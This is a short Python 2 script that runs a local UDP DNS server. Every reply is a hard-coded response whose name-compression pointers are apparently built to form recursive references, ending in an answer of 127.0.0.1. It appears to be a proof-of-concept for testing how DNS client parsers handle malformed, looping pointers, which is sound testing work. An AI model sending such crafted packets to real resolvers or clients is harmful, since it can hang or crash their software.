Python DNS server using recursive DNS name compression pointers and always resolving to 127.0.0.1

pydns.py

import SocketServer

class MyPyDNSWithLoops(SocketServer.BaseRequestHandler):
    def handle(self):
        data = self.request[0].strip()
        socket = self.request[1]
        print "<-- [%s] %r" % (self.client_address[0], data)
        res = data[0] + data[1] + '\x81\x80\x00\x01\x00\x02\x00\x00\x00\x00' + \
              '\x04mail\x03aYa\x03com\x00\x00\x01\x00\x01\xc0\x0c\x00\x05' + \
              '\x00\x01\x00\x00\x0e\x0e\x00\x02\xc0\x11\xc0*\x00\x01\x00' + \
              '\x01\x00\x00\x0e\x0e\x00\x04\x7f\x00\x00\x01'
        print "--> [%s] %r" % (self.client_address[0], res)
        socket.sendto(res, self.client_address)

if __name__ == "__main__":
    HOST, PORT = "127.0.0.1", 53
    server = SocketServer.UDPServer((HOST, PORT), MyPyDNSWithLoops)
    server.serve_forever()